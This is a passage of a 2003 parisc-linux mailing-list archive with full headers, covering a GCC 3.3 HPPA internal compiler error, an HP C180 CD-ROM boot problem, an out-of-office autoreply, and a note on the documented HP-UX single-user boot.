In reference to a message from doko@gcc.gnu.org, dated Apr 17:
> Synopsis: [3.3 regression] [HPPA] internal compiler error: in final_scan_insn, at final.c:2099
> 
> State-Changed-From-To: feedback->closed
> State-Changed-By: doko
> State-Changed-When: Thu Apr 17 05:57:39 2003
> State-Changed-Why:
>     sucessfully built as well with 3.3 20030412 (current Debian package)
> 
> http://gcc.gnu.org/cgi-bin/gnatsweb.pl?cmd=view%20audit-trail&database=gcc&pr=10235

really? it still ICEs for me with that version. The test case was from
the nurbs++ package.

tausq@ios:~/debian/nurbs++-3.0.11$ g++ -v
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.3/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-sjlj-exceptions --enable-clocale=gnu --enable-debug --enable-objc-gc hppa-linux
Thread model: posix
gcc version 3.3 20030412 (Debian prerelease)

tausq@ios:~/debian/nurbs++-3.0.11$ g++ -DHAVE_CONFIG_H -I. -I. -I../include -I/usr/X11R6/include -I../include -I../matrix -I../image -I../numerical -g -O2 -fno-implicit-templates -c f_nurbs.cpp -MT f_nurbs.lo -MD -MP -MF .deps/f_nurbs.TPlo  -fPIC -DPIC -o .libs/f_nurbs.lo
nurbs.cpp: In member function `void PLib::NurbsCurve<T, N>::globalInterpD(const
   PLib::Vector<PLib::Point_nD<T, D> >&, const PLib::Vector<PLib::Point_nD<T,
   D> >&, int, int, T) [with T = float, int N = 2]':
f_nurbs.cpp:85:   instantiated from here
nurbs.cpp:3060: internal compiler error: in final_scan_insn, at final.c:2099
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://gcc.gnu.org/bugs.html> for instructions.

Maybe the test case needs fixing :) Dave, I'll put a preprocessed file
in gsyprf11:~tausq/f_nurbs.ii.gz. It's >100k so i won't post it here 
for now.  :)

i'm in the process of building a new cvs snapshot to retry.

thanks,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: c++/10235: [3.3 regression] [HPPA] internal compiler error: in final_scan_insn, at final.c:2099
Date: Thu, 17 Apr 2003 09:24:04 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200304171324.h3HDO5AY029238__10076.3602568351$1416622398$gmane$org@hiauly1.hia.nrc.ca>
References: <20030417061958.GU25257@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622398 24816 80.91.229.3 (22 Nov 2014 02:13:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:18 +0000 (UTC)
Cc: doko@gcc.gnu.org, debian-gcc@lists.debian.org,
	gcc-bugs@gcc.gnu.org, gcc-prs@gcc.gnu.org, nobody@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, gcc-gnats@gcc.gnu.org,
	danglin@gcc.gnu.org
To: tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 17 07:24:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id F381E4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Apr 2003 07:24:13 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h3HDO6Bh029239;
	Thu, 17 Apr 2003 09:24:06 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h3HDO5AY029238;
	Thu, 17 Apr 2003 09:24:05 -0400 (EDT)
In-Reply-To: <20030417061958.GU25257@tausq.org> from "Randolph Chung" at Apr 16, 2003 11:19:58 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18295

> Maybe the test case needs fixing :) Dave, I'll put a preprocessed file
> in gsyprf11:~tausq/f_nurbs.ii.gz. It's >100k so i won't post it here 
> for now.  :)

Both the testcase and f_nurbs.ii compiled successfully using the following
command:

/home/dave/opt/gnu/gcc/gcc-3.3/bin/g++ -O2 -g -c -fPIC -fno-implicit-templates f_nurbs.ii

The above version of g++ has the sibcall argument fix installed yesterday.
However, I doubt that this fixed the problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: H Timothy Trinh <timtrinh@us.ibm.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] H Timothy Trinh/Somerset/IBM is out of the office.
Date: Thu, 17 Apr 2003 15:34:22 -0600
Lines: 8
Approved: news@gmane.org
Message-ID: <OF343DC027.B130F480-ON87256D0B.007680FC-87256D0B.007680FD@us.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1416622398 24819 80.91.229.3 (22 Nov 2014 02:13:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 17 15:40:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132])
	by dsl2.external.hp.com (Postfix) with ESMTP id 613364829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Apr 2003 15:40:45 -0600 (MDT)
Original-Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32])
	by e34.co.us.ibm.com (8.12.9/8.12.2) with ESMTP id h3HLeiYp040182
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Apr 2003 17:40:44 -0400
Original-Received: from d03nm113.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82])
	by westrelay04.boulder.ibm.com (8.12.8/NCO/VER6.5) with ESMTP id h3HLehu2017284
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Apr 2003 15:40:43 -0600
X-MIMETrack: Serialize by Router on D03NM113/03/M/IBM(Release 6.0 [IBM]|December 16, 2002) at
 04/17/2003 15:34:24
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18296




I will be out of the office starting April 17, 2003 and will not return
until April 22, 2003.




From - Thu Nov 08 21:27:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: HP C180-XP CDROM boot.
Date: Fri, 18 Apr 2003 01:18:12 +0200
Organization: ESIEE
Lines: 61
Approved: news@gmane.org
Message-ID: <20030418011812.447eabe4.varenet@esiee.fr>
References: <20030417215819.34c93c2d.varenet@esiee.fr>
	<Pine.LNX.4.44.0304171328170.15587-100000@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622399 24825 80.91.229.3 (22 Nov 2014 02:13:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:19 +0000 (UTC)
To: "K. David Prince" <kdp@hanhet.loew.washington.edu>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 17 17:18:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.zigoo.net (e202.dhcp212-198-142.noos.fr [212.198.142.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C65E4829
	for <parisc-linux@parisc-linux.org>; Thu, 17 Apr 2003 17:18:18 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.8/8.12.7) with SMTP id h3HNICH8003953;
	Fri, 18 Apr 2003 01:18:13 +0200
In-Reply-To: <Pine.LNX.4.44.0304171328170.15587-100000@localhost>
X-Mailer: Sylpheed version 0.8.10claws13 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18297

First of all, this is definitly the LAST time I answer a private mail
coming from a m-l thread. Nothing personnal there, but you're not the
first one, and i'm getting tired repeating the same remarks again and
again.

I'll add a comment about not answering mails in private on the
mailing-list webpage right now since it's not clearly stated.

The most obvious reason NOT TO DO SO is that I HAVE NO CLUE WHAT'S WRONG
with your setup, but somebody else on the m-l might.

Since you didn't CC'd the m-l, if i hadn't posted back to the m-l you
would have lost any chance to get that info.

And for what it's worth, this is not a private lesson. m-l archives are
useful for other buggers to find info in it, darn it! :P


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

On Thu, 17 Apr 2003 14:27:58 -0700 (PDT)
"K. David Prince" <kdp@hanhet.loew.washington.edu> wrote:

> Well, I eliminated hint #3.  I did pull out the CD-ROM.  I didn't find
> anything that obviously pointed to the block size.  Here's the info I
> have off of the CD-ROM:
> 
> HP CS P/N: A1658-60019	<== Bootable?  I can't find any references on
>                             this.
> 
> "Class 1 Laser Product Per IEC 825"
> 
> Jumper block items:
> 
> ID1		N/J
> ID2		Jumper
> ID4		N/J
> Parity		Jumper
> Term On/Off	N/J
> Prv/Alw		N/J  <== This one may be what I'm looking for.
> Test		N/J
> Power Supply	N/J
> 
> N/J = "No Jumper"
> 
> Is there a special place to find the block size jumper?
> 
> Dave
> 
> On Thu, 17 Apr 2003, Thibaut VARENE wrote:
> 
> > 1) You have a non-bootable CD drive (like some cd recorders and some
> > incompatible cd readers)
> > 2) the block size (usually a jumper on the back) is incorrectly set.
> > Check it's '512'.
> > 3) You have put the CD upside down in the cd tray.
> 
> 


From - Thu Nov 08 21:27:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] H Timothy Trinh/Somerset/IBM is out of the
 office.
Date: Fri, 18 Apr 2003 01:20:38 +0200
Organization: ESIEE
Lines: 20
Approved: news@gmane.org
Message-ID: <20030418012038.143bed96.varenet@esiee.fr>
References: <OF343DC027.B130F480-ON87256D0B.007680FC-87256D0B.007680FD@us.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622399 24827 80.91.229.3 (22 Nov 2014 02:13:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 17 17:20:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e202.dhcp212-198-142.noos.fr [212.198.142.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78AB94829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Apr 2003 17:20:39 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.8/8.12.7) with SMTP id h3HNKbH8003995
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Apr 2003 01:20:38 +0200
In-Reply-To: <OF343DC027.B130F480-ON87256D0B.007680FC-87256D0B.007680FD@us.ibm.com>
X-Mailer: Sylpheed version 0.8.10claws13 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18298

http://www.fr.parisc-linux.org/mailing-lists/outlookooo.html

On Thu, 17 Apr 2003 15:34:22 -0600
H Timothy Trinh <timtrinh@us.ibm.com> wrote:

> 
> 
> 
> 
> I will be out of the office starting April 17, 2003 and will not return
> until April 22, 2003.
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:27:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: HP C180-XP CDROM boot.
Date: Thu, 17 Apr 2003 18:00:17 -0700 (PDT)
Lines: 89
Approved: news@gmane.org
Message-ID: <20030418010017.41399.qmail@web12508.mail.yahoo.com>
References: <20030418011812.447eabe4.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-268550428-1050627617=:40984"
X-Trace: ger.gmane.org 1416622399 24833 80.91.229.3 (22 Nov 2014 02:13:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:19 +0000 (UTC)
To: kdp@hanhet.loew.washington.edu, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 17 19:00:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from web12508.mail.yahoo.com (web12508.mail.yahoo.com [216.136.173.200])
	by dsl2.external.hp.com (Postfix) with SMTP id 7B09F4829
	for <parisc-linux@parisc-linux.org>; Thu, 17 Apr 2003 19:00:18 -0600 (MDT)
Original-Received: from [161.114.1.181] by web12508.mail.yahoo.com via HTTP; Thu, 17 Apr 2003 18:00:17 PDT
In-Reply-To: <20030418011812.447eabe4.varenet@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18299

--0-268550428-1050627617=:40984
Content-Type: text/plain; charset=us-ascii

That part number is just a standard HP CDROM from a UNIX workstation as it should be coming out of a C180.  It is and will boot if you are booting from a bootable CD.  If you burned a netiso image and it won't boot, I'd start there.  You could test it's ability to boot by trying to boot an HP OS install disk.  If that works, it's your Debian CD.  If that doesn't work, then it sounds like you have a bad CDROM.  You can also do a "sea ipl" from the main menu prompt after the system finishes selftest.  If the media in the drive or on the hard drives is bootable, they will show up.  This search does take some time because it is actually reading the boot sectors of the tape, CD, or hard drives it's scanning.  I would say if you hear your CD spin up and look for the boot sector during this searc
 h and it doesn't come back with bootable media, I would verify your CD you are trying to boot from. derekHP CE

Thibaut VARENE <varenet@esiee.fr> wrote:First of all, this is definitly the LAST time I answer a private mail
coming from a m-l thread. Nothing personnal there, but you're not the
first one, and i'm getting tired repeating the same remarks again and
again.

I'll add a comment about not answering mails in private on the
mailing-list webpage right now since it's not clearly stated.

The most obvious reason NOT TO DO SO is that I HAVE NO CLUE WHAT'S WRONG
with your setup, but somebody else on the m-l might.

Since you didn't CC'd the m-l, if i hadn't posted back to the m-l you
would have lost any chance to get that info.

And for what it's worth, this is not a private lesson. m-l archives are
useful for other buggers to find info in it, darn it! :P


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

On Thu, 17 Apr 2003 14:27:58 -0700 (PDT)
"K. David Prince" wrote:

> Well, I eliminated hint #3. I did pull out the CD-ROM. I didn't find
> anything that obviously pointed to the block size. Here's the info I
> have off of the CD-ROM:
> 
> HP CS P/N: A1658-60019 <== Bootable? I can't find any references on
> this.
> 
> "Class 1 Laser Product Per IEC 825"
> 
> Jumper block items:
> 
> ID1 N/J
> ID2 Jumper
> ID4 N/J
> Parity Jumper
> Term On/Off N/J
> Prv/Alw N/J <== This one may be what I'm looking for.
> Test N/J
> Power Supply N/J
> 
> N/J = "No Jumper"
> 
> Is there a special place to find the block size jumper?
> 
> Dave
> 
> On Thu, 17 Apr 2003, Thibaut VARENE wrote:
> 
> > 1) You have a non-bootable CD drive (like some cd recorders and some
> > incompatible cd readers)
> > 2) the block size (usually a jumper on the back) is incorrectly set.
> > Check it's '512'.
> > 3) You have put the CD upside down in the cd tray.
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
The New Yahoo! Search - Faster. Easier. Bingo.
--0-268550428-1050627617=:40984
Content-Type: text/html; charset=us-ascii

<DIV>That part number is just a standard HP CDROM from a UNIX workstation as it should be coming out of a C180.&nbsp; It is and will boot if you are booting from a bootable CD.&nbsp; If you burned a netiso image and it won't boot, I'd start there.&nbsp; You could test it's ability to boot by trying to boot an HP OS install disk.&nbsp; If that works, it's your Debian CD.&nbsp; If that doesn't work, then it sounds like you have a bad CDROM.&nbsp; You can also do a "sea ipl" from the main menu prompt after the system finishes selftest.&nbsp; If the media in the drive or on the hard drives is bootable, they will show up.&nbsp; This search does take some time because it is actually reading the boot sectors of the tape, CD, or hard drives it's scanning.&nbsp; I would say if you hear your CD spin
  up and look for the boot sector during this search and it doesn't come back with bootable media, I would verify your CD you are trying to boot from.</DIV>
<DIV>&nbsp;</DIV>
<DIV>derek</DIV>
<DIV>HP CE<BR><BR><B><I>Thibaut VARENE &lt;varenet@esiee.fr&gt;</I></B> wrote:</DIV>
<BLOCKQUOTE style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">First of all, this is definitly the LAST time I answer a private mail<BR>coming from a m-l thread. Nothing personnal there, but you're not the<BR>first one, and i'm getting tired repeating the same remarks again and<BR>again.<BR><BR>I'll add a comment about not answering mails in private on the<BR>mailing-list webpage right now since it's not clearly stated.<BR><BR>The most obvious reason NOT TO DO SO is that I HAVE NO CLUE WHAT'S WRONG<BR>with your setup, but somebody else on the m-l might.<BR><BR>Since you didn't CC'd the m-l, if i hadn't posted back to the m-l you<BR>would have lost any chance to get that info.<BR><BR>And for what it's worth, this is not a private lesson. m-l archives are<BR>useful f
 or other buggers to find info in it, darn it! :P<BR><BR><BR>Thibaut VARENE<BR>The PA/Linux ESIEE Team<BR>http://pateam.esiee.fr/<BR><BR>On Thu, 17 Apr 2003 14:27:58 -0700 (PDT)<BR>"K. David Prince" <KDP@HANHET.LOEW.WASHINGTON.EDU>wrote:<BR><BR>&gt; Well, I eliminated hint #3. I did pull out the CD-ROM. I didn't find<BR>&gt; anything that obviously pointed to the block size. Here's the info I<BR>&gt; have off of the CD-ROM:<BR>&gt; <BR>&gt; HP CS P/N: A1658-60019 &lt;== Bootable? I can't find any references on<BR>&gt; this.<BR>&gt; <BR>&gt; "Class 1 Laser Product Per IEC 825"<BR>&gt; <BR>&gt; Jumper block items:<BR>&gt; <BR>&gt; ID1 N/J<BR>&gt; ID2 Jumper<BR>&gt; ID4 N/J<BR>&gt; Parity Jumper<BR>&gt; Term On/Off N/J<BR>&gt; Prv/Alw N/J &lt;== This one may be what I'm looking for.<BR>&gt; 
 Test N/J<BR>&gt; Power Supply N/J<BR>&gt; <BR>&gt; N/J = "No Jumper"<BR>&gt; <BR>&gt; Is there a special place to find the block size jumper?<BR>&gt; <BR>&gt; Dave<BR>&gt; <BR>&gt; On Thu, 17 Apr 2003, Thibaut VARENE wrote:<BR>&gt; <BR>&gt; &gt; 1) You have a non-bootable CD drive (like some cd recorders and some<BR>&gt; &gt; incompatible cd readers)<BR>&gt; &gt; 2) the block size (usually a jumper on the back) is incorrectly set.<BR>&gt; &gt; Check it's '512'.<BR>&gt; &gt; 3) You have put the CD upside down in the cd tray.<BR>&gt; <BR>&gt; <BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://us.rd.yahoo.com/search/mailsig/*http://search.yahoo.com">The New Yahoo! Search</a> - Faster. Easier. Bingo.
--0-268550428-1050627617=:40984--


From - Thu Nov 08 21:27:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Presicionbook success
Date: Thu, 17 Apr 2003 22:41:13 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20030418044113.GD16584@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0304161504230.28370-100000@sal.ucc.ie> <1050504092.28591.97.camel@dhcp22.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622400 24835 80.91.229.3 (22 Nov 2014 02:13:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:20 +0000 (UTC)
Cc: "M. Grabert" <xam@cs.ucc.ie>,
	"Beerse, Corn?\"" <c.beerse@torex-hiscom.nl>,
	Matthew Wilcox <willy@debian.org>,
	Gavin Hubbard <ghub005@xtra.co.nz>,
	parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 17 22:41:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 76B3B4829; Thu, 17 Apr 2003 22:41:13 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1050504092.28591.97.camel@dhcp22.swansea.linux.org.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18300

On Wed, Apr 16, 2003 at 03:41:33PM +0100, Alan Cox wrote:
> There are several ways but that would be subverting a rights management
> system and I don't wish to get the list owners in trouble.

Alan,
interesting comment.  HPUX/parisc does not have "rights management"
once one has access to the console.

Bjorn already posted the "proper" method (ISL> hpux -is).

grant


From - Thu Nov 08 21:27:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some 2.5 kernel profile data
Date: Thu, 17 Apr 2003 22:17:10 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20030418051710.GV25257@tausq.org>
References: <20030414052248.GG25257@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622400 24837 80.91.229.3 (22 Nov 2014 02:13:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 17 23:21:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id F296E4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Apr 2003 23:21:02 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id A9967CD295; Thu, 17 Apr 2003 22:17:10 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20030414052248.GG25257@tausq.org>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
